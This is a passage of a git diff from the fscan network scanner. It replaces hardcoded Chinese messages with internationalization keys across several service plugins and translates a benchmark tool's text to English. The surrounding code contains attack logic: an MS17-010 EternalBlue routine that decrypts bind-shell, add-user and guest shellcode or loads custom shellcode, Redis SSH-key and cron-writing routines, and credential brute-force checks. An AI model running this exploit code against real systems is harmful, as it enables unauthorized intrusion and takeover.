treeConnect[33] = userID[1]
if _, err = conn.Write(treeConnect); err != nil {
return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err)
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_tree_error"), err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
if readErr != nil {
return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr)
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_tree_error"), readErr)
}
return false, osVersion, false, fmt.Errorf("树连接响应不完整")
return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_tree_response_incomplete"))
}
// 命名管道请求
@@ -374,15 +374,15 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address
transNamedPipe[33] = userID[1]
if _, err = conn.Write(transNamedPipe); err != nil {
return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err)
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_pipe_error"), err)
}
n, readErr = conn.Read(reply)
if readErr != nil || n < 36 {
if readErr != nil {
return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr)
return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_pipe_error"), readErr)
}
return false, osVersion, false, fmt.Errorf("管道响应不完整")
return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_pipe_response_incomplete"))
}
// 漏洞检测 - 关键检查点
@@ -420,7 +420,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
var err error
sc, err = aesDecrypt(scEnc, defaultKey)
if err != nil {
return fmt.Errorf("解密bind shellcode失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err)
}
case "add":
@@ -429,7 +429,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
var err error
sc, err = aesDecrypt(scEnc, defaultKey)
if err != nil {
return fmt.Errorf("解密add shellcode失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err)
}
case "guest":
@@ -438,7 +438,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
var err error
sc, err = aesDecrypt(scEnc, defaultKey)
if err != nil {
return fmt.Errorf("解密guest shellcode失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err)
}
case "cs":
@@ -450,7 +450,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
if strings.Contains(shellcode, "file:") {
read, err := os.ReadFile(shellcode[5:])
if err != nil {
return fmt.Errorf("读取Shellcode文件失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err)
}
sc = fmt.Sprintf("%x", read)
} else {
@@ -460,13 +460,13 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co
// 验证shellcode有效性
if len(sc) < 20 {
return fmt.Errorf("无效的Shellcode")
return fmt.Errorf("%s", i18n.GetText("ms17010_invalid_shellcode"))
}
// 解码shellcode
scBytes, err := hex.DecodeString(sc)
if err != nil {
return fmt.Errorf("shellcode解码失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_decode_failed"), err)
}
if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil {
+1 -1
View File
@@ -117,7 +117,7 @@ func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cr
return &AuthResult{
Success: false,
ErrorType: ErrorTypeUnknown,
Error: fmt.Errorf("未知错误,状态码: %d", resp.StatusCode),
Error: fmt.Errorf(i18n.GetText("unknown_status_code")+": %d", resp.StatusCode),
}
}
+15 -14
View File
@@ -11,6 +11,7 @@ import (
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
@@ -39,7 +40,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
return &ScanResult{
Success: false,
Service: "netbios",
Error: fmt.Errorf("NetBIOS插件仅支持137和139端口"),
Error: fmt.Errorf("%s", i18n.GetText("netbios_port_only")),
}
}
@@ -66,7 +67,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
return &ScanResult{
Success: false,
Service: "netbios",
Error: fmt.Errorf("未发现有效的NetBIOS信息"),
Error: fmt.Errorf("%s", i18n.GetText("netbios_info_not_found")),
}
}
@@ -79,7 +80,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
return &ScanResult{
Success: true,
Type: plugins.ResultTypeService,
Type: plugins.ResultTypeService,
Service: "netbios",
Banner: netbiosInfo.Summary(),
}
@@ -164,7 +165,7 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st
conn, err := net.DialTimeout("udp", target, config.Timeout)
if err != nil {
return nil, fmt.Errorf("连接NetBIOS名称服务失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_name_connect_failed"), err)
}
state.IncrementUDPPacketCount()
defer func() { _ = conn.Close() }()
@@ -173,13 +174,13 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st
_, err = conn.Write(queryPacket)
if err != nil {
return nil, fmt.Errorf("发送NetBIOS查询失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_query_send_failed"), err)
}
response := make([]byte, 1024)
n, err := conn.Read(response)
if err != nil {
return nil, fmt.Errorf("读取NetBIOS响应失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_response_read_failed"), err)
}
return p.parseNetBIOSNames(response[:n])
@@ -191,7 +192,7 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_session_connect_failed"), err)
}
defer func() { _ = conn.Close() }()
@@ -212,13 +213,13 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se
_, err = conn.Write(smbNegotiate1)
if err != nil {
return nil, fmt.Errorf("发送SMB协商1失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_negotiate_send_failed"), err)
}
response1 := make([]byte, 1024)
_, err = conn.Read(response1)
if err != nil {
return nil, fmt.Errorf("读取SMB协商1响应失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_negotiate_read_failed"), err)
}
// 发送Session Setup请求
@@ -244,13 +245,13 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se
_, err = conn.Write(smbSessionSetup)
if err != nil {
return nil, fmt.Errorf("发送SMB Session Setup失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_session_send_failed"), err)
}
response2 := make([]byte, 2048)
n, err := conn.Read(response2)
if err != nil {
return nil, fmt.Errorf("读取SMB Session Setup响应失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_session_read_failed"), err)
}
return p.parseNetBIOSSession(response2[:n])
@@ -261,13 +262,13 @@ func (p *NetBIOSPlugin) parseNetBIOSNames(data []byte) (*NetBIOSInfo, error) {
info := &NetBIOSInfo{Valid: false}
if len(data) < 57 {
return info, fmt.Errorf("NetBIOS响应数据过短")
return info, fmt.Errorf("%s", i18n.GetText("netbios_response_too_short"))
}
// 获取名称记录数量
numNames := int(data[56])
if numNames == 0 {
return info, fmt.Errorf("没有NetBIOS名称记录")
return info, fmt.Errorf("%s", i18n.GetText("netbios_no_name_records"))
}
nameData := data[57:]
@@ -333,7 +334,7 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) {
info := &NetBIOSInfo{Valid: false}
if len(data) < 47 {
return info, fmt.Errorf("SMB响应数据过短")
return info, fmt.Errorf("%s", i18n.GetText("netbios_smb_response_too_short"))
}
info.Valid = true
+2 -2
View File
@@ -101,7 +101,7 @@ func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo,
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: fmt.Errorf("无法连接到Oracle数据库"),
Error: fmt.Errorf("%s", i18n.GetText("oracle_connect_failed")),
}
}
@@ -155,7 +155,7 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.
Service: "oracle",
Username: cred.Username,
Password: cred.Password,
Banner: "未授权访问 - 默认账户",
Banner: i18n.GetText("oracle_default_account_banner"),
}
}
}
+2 -2
View File
@@ -184,11 +184,11 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
Type: plugins.ResultTypeVuln,
Success: true,
Service: "postgresql",
VulInfo: "未授权访问(trust认证)",
VulInfo: i18n.GetText("postgresql_trust_unauth"),
}
}
vulInfo := fmt.Sprintf("未授权访问(trust认证) - %s", version)
vulInfo := i18n.Tr("postgresql_trust_unauth_version", version)
if len(vulInfo) > 100 {
vulInfo = vulInfo[:100] + "..."
}
+2 -2
View File
@@ -126,7 +126,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn
return &AuthResult{
Success: false,
ErrorType: ErrorTypeUnknown,
Error: fmt.Errorf("意外响应状态码: %d", resp.StatusCode),
Error: fmt.Errorf(i18n.GetText("unexpected_status_code")+": %d", resp.StatusCode),
}
}
@@ -198,7 +198,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo
Type: plugins.ResultTypeVuln,
Success: true,
Service: "rabbitmq",
Banner: "未授权访问 - guest默认密码",
Banner: i18n.GetText("rabbitmq_guest_default_password"),
}
}
}
+5 -5
View File
@@ -75,7 +75,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
common.LogSuccess(i18n.Tr("rdp_service", target, banner))
return &ScanResult{
Success: true,
Type: plugins.ResultTypeService,
Type: plugins.ResultTypeService,
Service: "rdp",
Banner: banner,
}
@@ -130,7 +130,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
return &ScanResult{
Success: true,
Type: plugins.ResultTypeCredential,
Type: plugins.ResultTypeCredential,
Service: "rdp",
Username: cred.Username,
Password: cred.Password,
@@ -144,7 +144,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
return &ScanResult{
Success: false,
Service: "rdp",
Error: fmt.Errorf("RDP端口未开放"),
Error: fmt.Errorf("%s", i18n.GetText("rdp_port_closed")),
}
}
}
@@ -242,7 +242,7 @@ func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) {
// buildBanner 构建服务识别Banner
func (p *RDPPlugin) buildBanner(osInfo map[string]any) string {
if len(osInfo) == 0 {
return "RDP远程桌面服务"
return i18n.GetText("rdp_remote_desktop_service")
}
osVersion := p.extractStringField(osInfo, "OsVerion")
@@ -256,7 +256,7 @@ func (p *RDPPlugin) buildBanner(osInfo map[string]any) string {
return fmt.Sprintf("RDP (Hostname:%s)", hostname)
}
return "RDP远程桌面服务"
return i18n.GetText("rdp_remote_desktop_service")
}
// extractStringField 安全提取字符串字段
+9 -9
View File
@@ -170,7 +170,7 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
return &AuthResult{
Success: false,
ErrorType: ErrorTypeUnknown,
Error: fmt.Errorf("redis PING测试失败: %s", strings.TrimSpace(responseStr)),
Error: fmt.Errorf("%s", i18n.Tr("redis_ping_failed", strings.TrimSpace(responseStr))),
}
}
@@ -212,7 +212,7 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
Type: plugins.ResultTypeVuln,
Success: true,
Service: "redis",
VulInfo: "未授权访问",
VulInfo: i18n.GetText("unauthorized_access"),
}
}
@@ -288,13 +288,13 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo
var banner string
if strings.Contains(responseStr, "PONG") {
banner = "Redis服务 (PONG响应)"
banner = i18n.GetText("redis_service_pong")
} else if strings.Contains(responseStr, "-NOAUTH") {
banner = "Redis服务 (需要认证)"
banner = i18n.GetText("redis_service_auth_required")
} else if strings.Contains(responseStr, "-ERR") {
banner = "Redis服务 (协议响应)"
banner = i18n.GetText("redis_service_protocol_response")
} else {
banner = "Redis服务"
banner = i18n.GetText("redis_service_plain")
}
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
@@ -552,10 +552,10 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text
// 读取密钥文件
key, err := p.readFile(filename)
if err != nil {
return false, fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err), err
return false, i18n.Tr("redis_key_file_read_failed", filename, err), err
}
if len(key) == 0 {
return false, fmt.Sprintf("密钥文件 %s 为空", filename), nil
return false, i18n.Tr("redis_key_file_empty", filename), nil
}
// 写入密钥
@@ -596,7 +596,7 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str
// 解析目标地址
target := strings.Split(host, ":")
if len(target) < 2 {
return false, "主机地址格式错误", nil
return false, i18n.GetText("redis_host_format_invalid"), nil
}
scanIp, scanPort := target[0], target[1]
+6 -6
View File
@@ -110,7 +110,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: fmt.Errorf("无法连接到Rsync服务"),
Error: fmt.Errorf("%s", i18n.GetText("rsync_connect_failed")),
}
}
modules := p.getModules(conn, session.Config)
@@ -120,7 +120,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
return &AuthResult{
Success: false,
ErrorType: ErrorTypeUnknown,
Error: fmt.Errorf("无法获取模块列表"),
Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")),
}
}
@@ -215,7 +215,7 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
modules := p.getModules(conn, session.Config)
if len(modules) > 0 {
banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", "))
banner := i18n.Tr("rsync_unauth_modules", strings.Join(modules, ", "))
return &ScanResult{
Success: true,
Type: plugins.ResultTypeService,
@@ -328,7 +328,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
return &ScanResult{
Success: false,
Service: "rsync",
Error: fmt.Errorf("无法连接到Rsync服务"),
Error: fmt.Errorf("%s", i18n.GetText("rsync_connect_failed")),
}
}
defer func() { _ = conn.Close() }()
@@ -363,12 +363,12 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
lines := strings.Split(responseStr, "\n")
for _, line := range lines {
if strings.HasPrefix(line, "@RSYNCD:") {
banner = fmt.Sprintf("Rsync服务 (%s)", strings.TrimSpace(line))
banner = i18n.Tr("rsync_service_info", strings.TrimSpace(line))
break
}
}
if banner == "" {
banner = "Rsync文件同步服务"
banner = i18n.GetText("rsync_file_sync_service")
}
} else {
return &ScanResult{
+6 -6
View File
@@ -34,7 +34,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
return &ScanResult{
Success: false,
Service: "smb",
Error: fmt.Errorf("SMB插件仅支持139和445端口"),
Error: fmt.Errorf("%s", i18n.GetText("smb_port_only")),
}
}
@@ -44,7 +44,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
return &ScanResult{
Success: false,
Service: "smb",
Error: fmt.Errorf("SMB协议探测失败: %w", err),
Error: fmt.Errorf("%s: %w", i18n.GetText("smb_probe_failed"), err),
}
}
@@ -71,9 +71,9 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
if result := p.testUnauthorizedAccess(ctx, info, auth, config, state, session); result != nil && result.Success {
var successMsg string
if config.Credentials.Domain != "" {
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
successMsg = i18n.Tr("smb_unauth_domain_access", target, config.Credentials.Domain, result.Username, result.Password)
} else {
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s:%s", target, result.Username, result.Password)
successMsg = i18n.Tr("smb_unauth_access", target, result.Username, result.Password)
}
common.LogVuln(successMsg)
return result
@@ -143,7 +143,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos
if displayUser == "" {
displayUser = "<empty>"
}
output.WriteString(fmt.Sprintf("SMB %s 匿名访问 - %s:%s", target, displayUser, cred.Password))
output.WriteString(i18n.Tr("smb_anonymous_access_detail", target, displayUser, cred.Password))
for _, share := range shareInfo {
output.WriteString(fmt.Sprintf("\n%s", share))
}
@@ -156,7 +156,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos
Service: "smb",
Username: cred.Username,
Password: cred.Password,
Banner: "SMB匿名访问",
Banner: i18n.GetText("smb_anonymous_banner"),
}
}
}
+13 -13
View File
@@ -216,13 +216,13 @@ func probeTarget(ctx context.Context, host string, port int, timeout time.Durati
// 首先尝试SMBv1协商
_, err = conn.Write(smbv1NegotiatePacket)
if err != nil {
return nil, fmt.Errorf("发送SMBv1协商包失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_negotiate_send_failed"), err)
}
// 读取SMBv1协商响应
r1, err := readSMBMessage(conn)
if err != nil {
common.LogDebug(fmt.Sprintf("读取SMBv1协商响应失败: %v", err))
common.LogDebug(i18n.Tr("smbv1_negotiate_read_failed", err))
}
// 检查是否支持SMBv1
@@ -239,12 +239,12 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget
// 发送Session Setup请求
_, err := conn.Write(smbv1SessionSetupPacket)
if err != nil {
return nil, fmt.Errorf("发送SMBv1 Session Setup失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_session_send_failed"), err)
}
ret, err := readSMBMessage(conn)
if err != nil || len(ret) < 47 {
return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_session_read_failed"), err)
}
info := &SMBTarget{
@@ -301,12 +301,12 @@ func probeSMBv2(ctx context.Context, target string, timeout time.Duration, sessi
// 发送SMBv2协商包
_, err = conn2.Write(smbv2NegotiatePacket)
if err != nil {
return nil, fmt.Errorf("发送SMBv2协商包失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_negotiate_send_failed"), err)
}
r2, err := readSMBMessage(conn2)
if err != nil {
return nil, fmt.Errorf("读取SMBv2协商响应失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_negotiate_read_failed"), err)
}
// 构建NTLM数据包
@@ -322,23 +322,23 @@ func probeSMBv2(ctx context.Context, target string, timeout time.Duration, sessi
// 发送Session Setup
_, err = conn2.Write(smbv2SessionSetupPacket)
if err != nil {
return nil, fmt.Errorf("发送SMBv2 Session Setup失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_session_send_failed"), err)
}
_, err = readSMBMessage(conn2)
if err != nil {
return nil, fmt.Errorf("读取SMBv2 Session Setup响应失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_session_read_failed"), err)
}
// 发送NTLM协商包
_, err = conn2.Write(ntlmData)
if err != nil {
return nil, fmt.Errorf("发送SMBv2 NTLM包失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_ntlm_send_failed"), err)
}
ret, err := readSMBMessage(conn2)
if err != nil {
return nil, fmt.Errorf("读取SMBv2 NTLM响应失败: %w", err)
return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_ntlm_read_failed"), err)
}
ntlmOff := bytes.Index(ret, []byte("NTLMSSP"))
@@ -455,7 +455,7 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: fmt.Errorf("连接超时"),
Error: fmt.Errorf("%s", i18n.GetText("connection_timeout")),
}, nil
case <-ctx.Done():
go func() {
@@ -701,13 +701,13 @@ func readSMBMessage(conn net.Conn) ([]byte, error) {
return nil, err
}
if n != 4 {
return nil, fmt.Errorf("NetBIOS头部长度不足: %d", n)
return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n)
}
messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3])
if messageLength > 1024*1024 {
return nil, fmt.Errorf("消息长度过大: %d", messageLength)
return nil, fmt.Errorf(i18n.GetText("message_length_too_large")+": %d", messageLength)
}
if messageLength == 0 {
+6 -6
View File
@@ -269,7 +269,7 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI
Success: true,
Type: plugins.ResultTypeVuln,
Service: "smtp",
Banner: "未授权访问 - 允许匿名邮件发送",
Banner: i18n.GetText("smtp_anonymous_mail_allowed"),
}
}()
@@ -321,7 +321,7 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, s
Success: true,
Type: plugins.ResultTypeVuln,
Service: "smtp",
Banner: "未授权访问 - 开放中继",
Banner: i18n.GetText("smtp_open_relay"),
}
}()
@@ -386,7 +386,7 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo,
Success: true,
Type: plugins.ResultTypeVuln,
Service: "smtp",
Banner: fmt.Sprintf("未授权访问 - VRFY命令枚举用户(%s)", user),
Banner: i18n.Tr("smtp_vrfy_user_enum", user),
}
return
}
@@ -456,7 +456,7 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo,
Success: true,
Type: plugins.ResultTypeVuln,
Service: "smtp",
Banner: fmt.Sprintf("未授权访问 - EXPN命令枚举邮件列表(%s)", list),
Banner: i18n.Tr("smtp_expn_list_enum", list),
}
return
}
@@ -522,7 +522,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo,
var banner string
if serverInfo != "" {
banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo)
banner = i18n.Tr("smtp_mail_service_info", serverInfo)
} else {
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
@@ -533,7 +533,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo,
}
}
defer func() { _ = conn.Close() }()
banner = "SMTP邮件服务"
banner = i18n.GetText("smtp_mail_service")
}
common.LogSuccess(i18n.Tr("smtp_service", target, banner))
+6 -6
View File
@@ -167,11 +167,11 @@ func classifySSHErrorType(err error) ErrorType {
// SSH 特有的网络/临时错误(需要重试)
sshNetworkErrors := append(CommonNetworkErrors,
"handshake failed", // 握手失败,可能是服务端限流
"ssh: disconnect", // SSH 主动断开
"connection closed", // 连接被关闭
"max startups", // SSH MaxStartups 限制
"too many authentication", // 认证次数过多
"handshake failed", // 握手失败,可能是服务端限流
"ssh: disconnect", // SSH 主动断开
"connection closed", // 连接被关闭
"max startups", // SSH MaxStartups 限制
"too many authentication", // 认证次数过多
)
return ClassifyError(err, sshAuthErrors, sshNetworkErrors)
@@ -268,7 +268,7 @@ func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string {
if matched := sshBannerRegex.FindStringSubmatch(bannerStr); len(matched) >= 3 {
return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2])
}
return fmt.Sprintf("SSH服务: %s", bannerStr)
return i18n.Tr("ssh_service_banner", bannerStr)
}
return ""
+6 -6
View File
@@ -249,7 +249,7 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn
Success: true,
Type: plugins.ResultTypeVuln,
Service: "telnet",
Banner: "Telnet远程终端服务 (未授权访问)",
Banner: i18n.GetText("telnet_unauth_service"),
}
return
}
@@ -541,21 +541,21 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
var banner string
if p.isShellPrompt(cleaned) {
banner = "Telnet远程终端服务 (未授权访问)"
banner = i18n.GetText("telnet_unauth_service")
} else if strings.Contains(cleanedLower, "login") ||
strings.Contains(cleanedLower, "username") ||
strings.Contains(cleanedLower, "user") {
banner = "Telnet远程终端服务 (需要认证)"
banner = i18n.GetText("telnet_auth_required")
} else if strings.Contains(cleanedLower, "password") {
banner = "Telnet远程终端服务 (只需密码)"
banner = i18n.GetText("telnet_password_only")
} else if cleaned != "" {
displayCleaned := cleaned
if len(displayCleaned) > 50 {
displayCleaned = displayCleaned[:50] + "..."
}
banner = fmt.Sprintf("Telnet远程终端服务 (自定义欢迎: %s)", displayCleaned)
banner = i18n.Tr("telnet_custom_welcome", displayCleaned)
} else {
banner = "Telnet远程终端服务"
banner = i18n.GetText("telnet_remote_terminal_service")
}
if p.isShellPrompt(cleaned) {
+3 -2
View File
@@ -8,6 +8,7 @@ import (
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
WebScan "github.com/shadow1ng/fscan/webscan"
)
@@ -92,7 +93,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session
if config.POC.Disabled {
return &WebScanResult{
Success: false,
Error: fmt.Errorf("POC扫描已禁用"),
Error: fmt.Errorf("%s", i18n.GetText("webpoc_disabled")),
}
}
@@ -106,7 +107,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session
// 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC
target := info.Target()
common.LogDebug(fmt.Sprintf("WebPOC %s 全量扫描模式", target))
common.LogDebug(i18n.Tr("webpoc_full_scan_mode", target))
WebScan.WebScan(ctx, info, config)
return &WebScanResult{
+4 -3
View File
@@ -13,6 +13,7 @@ import (
"unicode/utf8"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/core"
"github.com/shadow1ng/fscan/plugins"
WebScan "github.com/shadow1ng/fscan/webscan"
@@ -222,18 +223,18 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn
// 无指纹,跳过
if len(fingerprints) == 0 {
common.LogDebug(fmt.Sprintf("WebTitle %s 无匹配指纹,跳过POC扫描", target))
common.LogDebug(i18n.Tr("webtitle_no_fingerprint_skip_poc", target))
return
}
// 检测CDN/WAF
if cdnName := matchCDNorWAF(fingerprints); cdnName != "" {
common.LogDebug(fmt.Sprintf("WebTitle %s 检测到%s,跳过POC扫描", target, cdnName))
common.LogDebug(i18n.Tr("webtitle_cdn_waf_skip_poc", target, cdnName))
return
}
// 基于指纹执行POC扫描
common.LogDebug(fmt.Sprintf("WebTitle %s 触发指纹POC扫描: %v", target, fingerprints))
common.LogDebug(i18n.Tr("webtitle_trigger_fingerprint_poc", target, fingerprints))
info.Info = fingerprints
WebScan.WebScan(ctx, info, config)
}
+18 -18
View File
@@ -22,32 +22,32 @@ type Result struct {
}
func main() {
target := flag.String("target", "", "扫描目标 (如 192.168.1.0/24)")
ports := flag.String("ports", "22,80,443,3389,8080", "端口列表")
threads := flag.String("threads", "100,200,400,600,800,1000", "线程数列表,逗号分隔")
repeat := flag.Int("repeat", 3, "每个线程数重复次数")
output := flag.String("o", "perf_results.csv", "输出CSV文件")
target := flag.String("target", "", "scan target, e.g. 192.168.1.0/24")
ports := flag.String("ports", "22,80,443,3389,8080", "port list")
threads := flag.String("threads", "100,200,400,600,800,1000", "comma-separated thread counts")
repeat := flag.Int("repeat", 3, "repeat count for each thread count")
output := flag.String("o", "perf_results.csv", "output CSV file")
flag.Parse()
if *target == "" {
fmt.Println("用法: perftest -target 192.168.1.0/24 [-ports 22,80,443] [-threads 100,200,400]")
fmt.Println("Usage: perftest -target 192.168.1.0/24 [-ports 22,80,443] [-threads 100,200,400]")
os.Exit(1)
}
threadList := parseIntList(*threads)
results := []Result{}
fmt.Printf("=== fscan 可扩展性测试 ===\n")
fmt.Printf("目标: %s\n", *target)
fmt.Printf("端口: %s\n", *ports)
fmt.Printf("线程数: %v\n", threadList)
fmt.Printf("重复次数: %d\n\n", *repeat)
fmt.Printf("=== fscan scalability test ===\n")
fmt.Printf("Target: %s\n", *target)
fmt.Printf("Ports: %s\n", *ports)
fmt.Printf("Threads: %v\n", threadList)
fmt.Printf("Repeats: %d\n\n", *repeat)
for _, t := range threadList {
var totalDuration float64
var totalRate float64
fmt.Printf("[线程=%d] ", t)
fmt.Printf("[threads=%d] ", t)
for i := 0; i < *repeat; i++ {
fmt.Printf(".")
duration, rate := runFscan(*target, *ports, t)
@@ -63,11 +63,11 @@ func main() {
Duration: avgDuration,
PortsRate: avgRate,
})
fmt.Printf(" 平均: %.2fs, %.1f ports/sec\n", avgDuration, avgRate)
fmt.Printf(" average: %.2fs, %.1f ports/sec\n", avgDuration, avgRate)
}
writeCSV(*output, results)
fmt.Printf("\n结果已保存到: %s\n", *output)
fmt.Printf("\nResults saved to: %s\n", *output)
printPlotCommand(*output)
}
@@ -94,8 +94,8 @@ func runFscan(target, ports string, threads int) (duration float64, rate float64
}
func extractPortCount(output, target, ports string) int {
// 尝试从 "扫描完成" 行提取
re := regexp.MustCompile(`扫描完成.*?(\d+).*?端口`)
// Try to parse either Chinese or English fscan completion output.
